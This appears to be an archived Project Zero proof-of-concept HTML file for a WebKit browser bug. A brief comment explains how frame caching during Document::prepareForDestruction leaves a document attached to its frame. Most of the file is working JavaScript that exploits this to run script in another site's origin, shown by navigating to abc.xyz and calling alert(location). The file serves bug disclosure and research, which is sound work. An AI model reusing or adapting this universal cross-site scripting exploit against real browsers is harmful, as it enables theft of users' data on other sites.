82 lines
No EOL
2.4 KiB
HTML
82 lines
No EOL
2.4 KiB
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1163
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Here's a snippet of Document::prepareForDestruction
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void Document::prepareForDestruction()
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{
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if (m_hasPreparedForDestruction)
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return;
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...
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detachFromFrame();
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m_hasPreparedForDestruction = true;
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}
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Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to |m_hasPreparedForDestruction|.
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PoC:
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-->
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<body>
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Click anywhere.
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<script>
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function createURL(data, type = 'text/html') {
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return URL.createObjectURL(new Blob([data], {type: type}));
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}
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function waitFor(check, cb) {
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let it = setInterval(() => {
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if (check()) {
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clearInterval(it);
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cb();
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}
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}, 10);
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}
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window.onclick = () => {
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window.onclick = null;
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w = open(createURL(''), '', 'width=500, height=500');
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w.onload = () => {
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setTimeout(() => {
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let f = w.document.body.appendChild(document.createElement('iframe'));
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f.contentWindow.onunload = () => {
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f.contentWindow.onunload = null;
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w.__defineGetter__('navigator', () => new Object());
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let a = w.document.createElement('a');
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a.href = 'about:blank';
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a.click();
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setTimeout(() => {
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w.history.back();
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setTimeout(() => {
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let d = w.document;
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w.location = 'javascript:' + encodeURI(`"<script>location = 'https://abc.xyz/';</scrip` + `t>"`);
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let it = setInterval(() => {
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try {
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w.xxxx;
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} catch (e) {
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clearInterval(it);
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let a = d.createElement('a');
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a.href = 'javascript:alert(location);';
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a.click();
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}
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}, 10);
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}, 100);
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}, 100);
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};
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w.location = 'javascript:""';
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}, 0);
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};
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}
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</script>
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</body> |